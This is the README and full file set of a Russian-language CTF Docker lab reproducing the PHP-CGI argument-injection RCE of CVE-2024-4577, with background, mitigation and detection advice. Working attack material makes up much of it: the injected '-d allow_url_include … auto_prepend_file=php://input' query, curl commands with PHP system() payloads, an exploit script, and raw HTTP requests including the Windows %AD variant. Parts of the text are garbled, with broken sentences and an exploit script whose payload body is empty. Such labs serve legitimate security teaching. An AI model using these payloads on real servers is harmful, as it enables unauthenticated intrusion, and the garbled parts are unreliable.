
# Docker-лаборатория CTF, демонстрирующая CVE-2024-4577 — внедрение аргументов PHP-CGI, приводящее к RCE Включает уязвимый PHP 5.4.1 CGI, эксплойт-скрипты и получение флага.
Автономный Docker-лабораторный стенд с нуля, демонстрирующий реальный
примитив argument-injection → Remote Code Execution, лежащий в основе
CVE-2024-4577. Эксплуатируйте его через http://localhost:8080, получите
шелл и прочитайте флаг изнутри контейнера.
Это настоящая уязвимость, а не симуляция. Контейнер компилирует непропатченный бинарник PHP 5.4.1 CGI и подключает его к Apache ровно так, как настраиваются реальные уязвимые хосты. Никакой фейковой проверки "if password == flag" здесь нет — единственный способ получить флаг — это реально добиться выполнения кода.
Сигнатурный payload для CVE-2024-4577 использует %AD (мягкий дефис).
Этот трюк работает только на Windows, потому что "Best-Fit" кодировка
символов Windows преобразует байт 0xAD в настоящий - ()
того, как патч PHP для CVE-2012-1823 уже проверил строку запроса. Это
преобразование кодировки выполняется — оно
0x2DПоэтому честный, работающий на вашей машине Linux-стенд воспроизводит
ровно тот же примитив RCE — инъекцию опций php-cgi через URL → -d auto_prepend_file=php://input → выполнение кода — используя буквальную
форму - (которая является родительским багом CVE-2024-4577 —
CVE-2012-1823). Единственное отличие от реальной Windows-цели
CVE-2024-4577 — это слой обхода кодировки %AD→-, который полностью
описан в этом README (см. Как это работает
и poc.http).
| Этот Linux-стенд | Реальный CVE-2024-4577 (Windows) | |
|---|---|---|
| Уязвимый компонент | php-cgi | php-cgi |
| Примитив RCE | -d auto_prepend_file=php://input | идентичен |
| Разделитель в URL | буквальный - | %AD (best-fit → -) |
| Обходит патч 2012 года? | Н/П (PHP старше патча) | Да, через Windows best-fit |
| Работает на Win 11 Home + Docker Desktop | ✅ | ❌ (нужны Windows-контейнеры) |
Если вам нужна именно побитовая Windows-репродукция с %AD, вам понадобится
Docker-хост с поддержкой Windows-контейнеров (Windows Server / Win Pro +
Hyper-V) — на Windows 11 Home это не запустится. Windows-payload включён в
poc.http для справки.
CVE-2024-4577 — PHP CGI Argument Injection, приводящая к Remote Code Execution. Обнаружена DEVCORE (Orange Tsai / Angelboy), раскрыта 2024-06-06.
Когда PHP развёрнут в CGI-режиме (или бинарник php-cgi.exe иным образом
доступен) на Windows с определёнными системными локалями (традиционный/
упрощённый китайский, японский и другие), веб-сервер передаёт строку запроса
HTTP в php-cgi как аргументы командной строки. Атакующий может протащить
опции командной строки php-cgi (-d ...) в эту строку запроса. Best-fit
преобразование кодовой страницы Windows превращает байт мягкого дефиса 0xAD
(%AD) в ASCII-дефис -, который проскальзывает мимо защиты CVE-2012-1823 и
позволяет атакующему задавать произвольные INI-директивы PHP — наиболее
полезная из них auto_prepend_file=php://input с allow_url_include=1,
которая выполняет тело запроса атакующего как PHP. Результат:
неаутентифицированное удалённое выполнение кода. Уязвимость была
вооружена в дикой природе в течение нескольких дней (например, ransomware
TellYouThePass).
CGI передаёт строку запроса как argv. Согласно RFC 3875, если строка
запроса CGI-запроса не содержит незакодированного =, сервер
разбивает её по +, URL-декодирует каждое слово и передаёт слова CGI-
программе как аргументы командной строки. Таким образом, php-cgi
получает контролируемый атакующим argv.
php-cgi разбирает этот argv как опции. Исторически php-cgi
интерпретировал -d key=value, -T и т.д. из этого argv. Передача
-d allow_url_include=1 -d auto_prepend_file=php://input заставляет PHP
выполнять тело запроса как код → CVE-2012-1823.
Исправление CVE-2012-1823 неполно на Windows. Патч 2012 года добавил
защиту в sapi/cgi/cgi_main.c: примерно "если (сырая) строка запроса
начинается с - и не содержит =, пропустить разбор опций
(skip_getopt)." Атакующий, отправляющий буквальный -, теперь
заблокирован.
Best-fit кодировка обходит защиту (баг 2024 года). На Windows PHP
преобразует командную строку, используя кодовую страницу локали с
включённым best-fit сопоставлением. Атакующий отправляет %AD
(байт 0xAD, мягкий дефис). В момент проверки защиты первый байт — 0xAD,
не -, поэтому skip_getopt не устанавливается. Позже, когда PHP
фактически строит argv, Windows best-fit-сопоставляет 0xAD → -, и
теперь getopt видит -d. Инъекция опций срабатывает после проверки,
которая должна была её остановить. Этот порядок "сначала проверка, потом
преобразование" и есть вся уязвимость.
В этом Linux-стенде шаги 1–2 воспроизводятся точно с php-cgi, который предшествует патчу шага 3, поэтому буквальная форма
-работает и демонстрирует идентичный RCE. Шаг 4 — это слой только для Windows, задокументированный, но не выполняемый (в Linux нет best-fit преобразования).
Исправлено в 8.3.8, 8.2.20, 8.1.29. Следовательно, уязвимы:
Условия: ОС Windows; PHP работает как CGI или php-cgi.exe доступен
(конфигурация по умолчанию XAMPP на Windows уязвима); затронутая локаль
для best-fit пути. (Родительский баг CVE-2012-1823 — примитив, который
запускает этот стенд — затрагивает любую ОС, работающую с php-cgi до
исправления 2012 года в этой конфигурации.)
cve-2024-4577-lab/ ├── Dockerfile # builds the lab: compiles unpatched PHP 5.4.1 CGI + Apache ├── Dockerfile.vulhub # fallback: prebuilt vulnerable base image (if compile fails) ├── docker-compose.yml # one-command build+run, maps localhost:8080 -> 80 ├── start.sh # container entrypoint (Apache foreground) ├── exploit.sh # one-shot RCE PoC (bash + curl) ├── poc.http # raw HTTP requests (Linux payload + real Windows %AD payload) ├── app/ │ └── index.php # ordinary web page (NOT itself vulnerable) ├── config/ │ ├── apache-vhost.conf # the vulnerable Apache <-> php-cgi wiring │ └── php.ini # minimal php.ini (cgi.force_redirect=0, etc.) ├── flag.txt # the flag (copied to /flag.txt in the container) └── README.md # this file
## 5. Предварительные требования
- **Docker Desktop** (Windows/macOS) или Docker Engine (Linux).
Windows 11 Home: установите Docker Desktop с бэкендом **WSL 2** (по умолчанию).
→ https://www.docker.com/products/docker-desktop/
- `curl` для эксплуатации (`curl.exe` встроен в Windows 10/11; также доступен в
Git Bash / WSL / macOS / Linux).
- Доступ в интернет **во время сборки** (загружается исходный код PHP 5.4.1).
## 6. Инструкции по сборке
Откройте терминал в папке `cve-2024-4577-lab/`.
### Вариант A — docker compose (рекомендуется)```bash
docker compose up --build -d
Команда docker build:```bash docker build -t cve-2024-4577-lab .
**команда docker run:**```bash
docker run --rm -d -p 8080:80 --name cve-2024-4577-lab cve-2024-4577-lab
Сборка компилирует PHP из исходников (в первый раз ~2–5 минут). Если она завершится ошибкой на вашей машине (нет сети, нет тулчейна, museum.php.net недоступен), используйте запасной базовый образ:
docker build -f Dockerfile.vulhub -t cve-2024-4577-lab . docker run --rm -d -p 8080:80 --name cve-2024-4577-lab cve-2024-4577-lab
curl -s http://localhost:8080/ | head -n 20
Вы должны увидеть HTML-код **ACME Internal Status Portal**, и, что крайне важно:```
<li>PHP version: <code>5.4.1</code></li>
<li>SAPI: <code>cgi-fcgi</code></li>
SAPI: cgi-fcgi (т.е. обслуживается через php-cgi) подтверждает, что уязвимый компонент находится в пути запроса. Также проверьте журналы:```bash
docker logs cve-2024-4577-lab
## 8. Шаги эксплуатации
Внедрённая строка запроса (URL-закодированная, чтобы Apache не видел **буквального символа `=`** и
поэтому обрабатывал её как argv CGI):```
?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
который php-cgi разбирает как:``` -d allow_url_include=1 -d auto_prepend_file=php://input
**Тело запроса** становится PHP-исходником (читается через `php://input`) и выполняется
*до* `index.php`.
### 8a. Проще всего — запустить скрипт```bash
bash exploit.sh http://localhost:8080
# custom command:
bash exploit.sh http://localhost:8080 "id; uname -a; cat /flag.txt"
curl -s -H "Content-Type: text/plain"
--data-binary ""
"http://localhost:8080/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
> В **Windows PowerShell** используйте `curl.exe` явно (в PowerShell `curl` —
> это псевдоним для `Invoke-WebRequest`, который искажает строку запроса):
> ```powershell
> curl.exe -s -H "Content-Type: text/plain" `
> --data-binary "<?php system('id; echo ===FLAG===; cat /flag.txt'); die(); ?>" `
> "http://localhost:8080/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
> ```
### 8c. Вручную — сырой HTTP (Burp Repeater)
См. [`poc.http`](#poc-http). Вставьте запрос №1 в Burp Repeater и отправьте.
## 9. Ожидаемый результат```
[*] Target : http://localhost:8080/index.php
[*] Injection : ?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
[*] Command : id; echo '=== /flag.txt ==='; cat /flag.txt
[*] Firing argument-injection request...
-----------------------------------------------------------------
[+] RCE as www-data on <container-id>
uid=33(www-data) gid=33(www-data) groups=33(www-data)
=== /flag.txt ===
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}
-----------------------------------------------------------------
[*] Success if you see FLAG{...} above.
Строка uid=33(www-data) доказывает произвольное выполнение OS-команд от имени
пользователя веб-сервера — это реальное выполнение кода, а не выведенная строка.
Флаг находится в /flag.txt внутри контейнера — вне веб-корня
(/var/www/html), поэтому недоступен по HTTP. Единственный способ
прочитать его — выполнить команду через RCE:```bash
bash exploit.sh http://localhost:8080 "cat /flag.txt"
Флаг:```
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}
(В реальном CTF вам бы не сообщили путь — вы бы выполнили ls -la / через
RCE, чтобы найти его. Попробуйте bash exploit.sh http://localhost:8080 "ls -la /".)
docker compose down
docker stop cve-2024-4577-lab docker rm cve-2024-4577-lab # only if you did NOT use --rm
docker rmi cve-2024-4577-lab
docker builder prune -f
---
## 🔬 Как работает эксплойт, шаг за шагом
1. **Клиент → Apache.** Вы отправляете
`POST /index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input`
с PHP-полезной нагрузкой в теле запроса.
2. **Маршрутизация Apache.** `AddHandler application/x-httpd-php .php` +
`Action application/x-httpd-php /cgi-bin/php-cgi` направляют запрос к
бинарнику **php-cgi** (mod_actions + mod_cgi).
3. **Строка запроса → argv (правило CGI).** `mod_cgi` Apache видит, что в строке
запроса **нет неэкранированного `=`** (мы отправили `%3d`, а не `=`), поэтому
согласно RFC 3875 она разбивается по `+`, каждое слово декодируется из URL и
передаётся php-cgi как `argv`:
`-d`, `allow_url_include=1`, `-d`, `auto_prepend_file=php://input`.
4. **php-cgi обрабатывает внедрённые опции.** Этот php-cgi (5.4.1, до исправления
2012 года) **не имеет защиты `skip_getopt`**, поэтому он спокойно обрабатывает
опции `-d`:
- `allow_url_include=1` — разрешает подключение PHP из потоковых обёрток.
- `auto_prepend_file=php://input` — перед выполнением запрошенного скрипта
подключает и выполняет **тело запроса** как PHP.
5. **Тело выполняется как код.** `php://input` — это ваше POST-тело,
`<?php system('id; cat /flag.txt'); die(); ?>`. Оно выполняется от имени
пользователя Apache (`www-data`), выполняет команду ОС, выводит результат и
вызывает `die()` до того, как `index.php` вообще запустится.
6. **Эксфильтрация флага.** `system('cat /flag.txt')` читает `/flag.txt`
(доступный для чтения `www-data`) и возвращает его в HTTP-ответе.
### Почему существует уязвимость (более глубокое «почему»)
- **CGI смешивает *аргументы* с *пользовательским вводом*.** Соглашение CGI
1990-х годов о превращении строки запроса в `argv` было разработано для
поисковых скриптов `<ISINDEX>`. Направлять его на интерпретатор вроде
`php-cgi`, чьи `argv` являются мощными конфигурационными переключателями, —
это категориальная ошибка: данные, контролируемые пользователем, становятся
конфигурацией программы.
- **`-d` — это удалённая INI-инъекция.** `php-cgi -d name=value` переопределяет
*любую* директиву INI во время выполнения, обходя даже усиленный `php.ini`.
`auto_prepend_file` + `allow_url_include` + обёртка `php://input` складываются
в «выполнить тело запроса», т.е. в RCE.
- **CVE-2024-4577 конкретно** существует потому, что исправление
CVE-2012-1823 проверяет строку запроса на ведущий `-` **до** того, как Windows
выполнит своё **преобразование кодировки best-fit**. Атакующий отправляет `%AD`
(мягкий дефис); на момент проверки это не `-`, поэтому защита пропускает его,
но Windows позже отображает `0xAD → 0x2D (-)` по best-fit, возвращая `-` после
шлюза. **Порядок «проверка-затем-преобразование»** + зависящая от локали,
потерянная кодировка = обход патча.
---
## 🛡️ Почему этот челлендж сопротивляется «просто угадай флаг» / ИИ-ярлыкам
- Флаг **не находится в веб-корне** и **не упоминается в `index.php`**,
поэтому никакое сканирование, фаззинг или чтение исходников приложения его
не раскроет.
- **Нет логического бэкдора** (нет `if (input === flag)`), поэтому решающий
не может обратить сравнение — флаг появляется только в stdout процесса
**после реального выполнения команд ОС**.
- Его получение **требует выполнения реального эксплойта внедрения аргументов**:
корректное кодирование `=` как `%3d`, сохранение `-` как разделителя опций и
доставка полезной нагрузки через `php://input`. Ошибётесь на любом шаге —
получите безобидную страницу ACME, а не флаг.
- Токен — это **случайная строка с высокой энтропией**, а не угадываемое слово.
---
## Реальное устранение уязвимости
- Обновите PHP до **≥ 8.3.8 / 8.2.20 / 8.1.29**.
- **Не запускайте PHP как CGI.** Используйте PHP-FPM / mod_php.
- На Windows/XAMPP удалите сопоставления `ScriptAlias`/обработчиков, которые
открывают `php-cgi.exe`; блокируйте запросы, где строка запроса начинается с
закодированного мягкого дефиса; запретите `%AD` в строке запроса на WAF.
- Обнаружение: веб-логи со строками запроса, содержащими `%AD`,
`auto_prepend_file`, `allow_url_include` или `php://input`.
---
# ПРИЛОЖЕНИЕ — каждый файл полностью
Всё ниже — это полный исходный код каждого файла, поэтому этот единый документ
полностью самодостаточен.
## `Dockerfile````dockerfile
# =============================================================================
# CVE-2024-4577 LAB — PHP-CGI argument injection -> Remote Code Execution
# Linux reproduction of the argument-injection primitive that CVE-2024-4577
# revives on Windows. (See README.md, section "Linux vs. Windows".)
#
# Strategy: compile the *unpatched* PHP 5.4.1 CGI SAPI from source. 5.4.1
# predates the CVE-2012-1823 fix, so php-cgi accepts command-line options
# (-d ...) supplied through the HTTP query string. Apache hands the query
# string to php-cgi as argv (CGI spec) -> attacker-controlled -d options ->
# auto_prepend_file=php://input -> RCE. This is the exact primitive that
# CVE-2024-4577 reaches on Windows by best-fit-decoding %AD into '-'.
# =============================================================================
FROM debian:bullseye
ENV DEBIAN_FRONTEND=noninteractive
ENV PHP_VERSION=5.4.1
# ---- 1. Build toolchain + Apache -------------------------------------------
RUN set -eux; \
apt-get update; \
apt-get install -y --no-install-recommends \
ca-certificates wget bzip2 xz-utils \
build-essential pkg-config autoconf \
libxml2-dev \
apache2; \
rm -rf /var/lib/apt/lists/*
# ---- 2. Download + compile the vulnerable PHP 5.4.1 CGI binary --------------
# CFLAGS -fcommon : gcc-10 (bullseye) defaults to -fno-common, which breaks
# linking of old PHP's tentative-definition globals.
# touch <files> : keep the tarball's PRE-GENERATED parser/scanner files
# newer than their .y/.l sources so `make` never invokes
# bison/re2c (modern bison 3.x cannot rebuild PHP 5.4).
RUN set -eux; \
cd /usr/src; \
( wget -q -O php.tar "https://museum.php.net/php5/php-${PHP_VERSION}.tar.gz" \
|| wget -q -O php.tar "https://museum.php.net/php5/php-${PHP_VERSION}.tar.bz2" ); \
tar -xf php.tar; \
cd "php-${PHP_VERSION}"; \
for f in \
Zend/zend_language_parser.c Zend/zend_language_parser.h \
Zend/zend_language_scanner.c \
Zend/zend_ini_parser.c Zend/zend_ini_parser.h \
Zend/zend_ini_scanner.c \
ext/date/lib/parse_date.c ext/date/lib/parse_iso_intervals.c \
ext/standard/var_unserializer.c ext/standard/url_scanner_ex.c ; do \
if [ -f "$f" ]; then touch "$f"; fi; \
done; \
CFLAGS="-O2 -fcommon" ./configure \
--enable-cgi \
--disable-all \
--without-pear; \
make -j"$(nproc)"; \
make install; \
cp -v /usr/local/bin/php-cgi /usr/lib/cgi-bin/php-cgi; \
chmod 0755 /usr/lib/cgi-bin/php-cgi; \
/usr/local/bin/php-cgi -v; \
cd /; rm -rf /usr/src/php*
# ---- 3. PHP + Apache configuration -----------------------------------------
COPY config/php.ini /usr/local/lib/php.ini
COPY config/apache-vhost.conf /etc/apache2/sites-available/000-default.conf
RUN set -eux; \
a2dismod mpm_event mpm_worker || true; \
a2enmod mpm_prefork cgi actions alias; \
printf 'ServerName localhost\n' > /etc/apache2/conf-available/servername.conf; \
a2enconf servername
# ---- 4. Application + flag ---------------------------------------------------
COPY app/index.php /var/www/html/index.php
COPY flag.txt /flag.txt
RUN chmod 0644 /flag.txt /var/www/html/index.php
# ---- 5. Launch ---------------------------------------------------------------
COPY start.sh /start.sh
# Strip any CR (in case the file was saved with Windows CRLF endings) and make
# it executable, so the entrypoint runs regardless of how it was checked out.
RUN sed -i 's/\r$//' /start.sh && chmod +x /start.sh
EXPOSE 80
CMD ["/start.sh"]
FROM vulhub/php:5.4.1-cgi
COPY app/index.php /var/www/html/index.php COPY flag.txt /flag.txt RUN chmod 0644 /flag.txt /var/www/html/index.php EXPOSE 80
## `docker-compose.yml````yaml
# docker-compose.yml — CVE-2024-4577 lab
# Run with: docker compose up --build
services:
web:
build:
context: .
dockerfile: Dockerfile # <- swap to Dockerfile.vulhub if the source build fails
image: cve-2024-4577-lab:latest
container_name: cve-2024-4577-lab
ports:
- "8080:80" # host 8080 -> container 80
restart: unless-stopped
<VirtualHost *:80> ServerName localhost DocumentRoot /var/www/html
# ---------------------------------------------------------------------
# Expose the (vulnerable) php-cgi binary as a CGI script.
# ---------------------------------------------------------------------
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
<Directory "/usr/lib/cgi-bin">
AllowOverride None
Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
Require all granted
</Directory>
# ---------------------------------------------------------------------
# Route every *.php request through php-cgi via mod_actions.
#
# THE BUG: Per the CGI spec, when a query string contains no unencoded
# '=' , Apache splits it on '+' and passes the words to the CGI program
# as command-line arguments (argv). Because this php-cgi (5.4.1) predates
# the CVE-2012-1823 fix, those argv are parsed as php-cgi OPTIONS, so an
# attacker can inject -d <ini>=<value> straight from the URL.
# ---------------------------------------------------------------------
<Directory /var/www/html>
Options +ExecCGI FollowSymLinks
AddHandler application/x-httpd-php .php
Action application/x-httpd-php /cgi-bin/php-cgi
DirectoryIndex index.php
Require all granted
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
; php-cgi refuses to run under a web server unless force_redirect is satisfied. ; Turning it off keeps the CGI SAPI happy behind Apache's Action handler. cgi.force_redirect = 0 cgi.fix_pathinfo = 1
display_errors = On display_startup_errors = On log_errors = On
; Realistic defaults. Note allow_url_include is OFF here on purpose — the ; exploit RE-ENABLES it at runtime through the injected -d allow_url_include=1 ; option, which is the whole point of the argument-injection primitive. allow_url_fopen = On allow_url_include = Off
short_open_tag = On
## `start.sh````bash
#!/bin/bash
# ---------------------------------------------------------------------------
# Container entrypoint: start Apache (with the vulnerable php-cgi) in the
# foreground so the container stays alive and logs stream to `docker logs`.
# ---------------------------------------------------------------------------
set -e
# Pull in APACHE_RUN_USER / APACHE_LOG_DIR / APACHE_PID_FILE etc.
# shellcheck disable=SC1091
source /etc/apache2/envvars
mkdir -p /var/run/apache2
rm -f "${APACHE_PID_FILE:-/var/run/apache2/apache2.pid}"
echo "==============================================================="
echo " CVE-2024-4577 LAB"
php-cgi -v 2>/dev/null | head -n1 | sed 's/^/ /'
echo " Web app : http://localhost:8080/"
echo " Exploit : ./exploit.sh http://localhost:8080"
echo "==============================================================="
exec apache2 -D FOREGROUND
#!/usr/bin/env bash
set -euo pipefail
TARGET="${1:-http://localhost:8080}" CMD="${2:-id; echo '=== /flag.txt ==='; cat /flag.txt}"
QUERY='-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input'
BODY=""
echo "[] Target : ${TARGET}/index.php" echo "[] Injection : ?${QUERY}" echo "[] Command : ${CMD}" echo "[] Firing argument-injection request..." echo "-----------------------------------------------------------------"
curl -sS
-H 'Content-Type: text/plain'
--data-binary "${BODY}"
"${TARGET}/index.php?${QUERY}"
echo echo "-----------------------------------------------------------------" echo "[*] Success if you see FLAG{...} above."
## `app/index.php````php
<?php
// ---------------------------------------------------------------------------
// index.php — an intentionally ORDINARY application page.
//
// IMPORTANT: the vulnerability is NOT in this file. This app has no bug of
// its own. The RCE comes entirely from the Apache + php-cgi configuration
// (CVE-2024-4577 / CVE-2012-1823 argument injection). This page only exists
// so the container serves something realistic through the vulnerable php-cgi.
// ---------------------------------------------------------------------------
$host = php_uname('n');
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>ACME Internal Status Portal</title>
<style>
body{font-family:system-ui,Arial,sans-serif;max-width:640px;margin:60px auto;color:#222}
code{background:#f2f2f2;padding:2px 5px;border-radius:4px}
.ok{color:#2a7f2a;font-weight:bold}
</style>
</head>
<body>
<h1>ACME Internal Status Portal</h1>
<p>Service status: <span class="ok">ONLINE</span></p>
<ul>
<li>Host: <code><?php echo htmlspecialchars($host); ?></code></li>
<li>PHP version: <code><?php echo phpversion(); ?></code></li>
<li>SAPI: <code><?php echo php_sapi_name(); ?></code></li>
<li>Server time: <code><?php echo date('Y-m-d H:i:s'); ?></code></li>
</ul>
<p>Everything looks fine here. Nothing to see. 😊</p>
</body>
</html>
###############################################################################
###############################################################################
POST /index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1 Host: localhost:8080 Content-Type: text/plain Content-Length: 44 Connection: close
POST /index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1 Host: victim-windows Content-Type: text/plain Content-Length: 30 Connection: close
## `flag.txt````
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}
sapi/cgi/cgi_main.c).Только для авторизованного использования в целях обучения безопасности / CTF.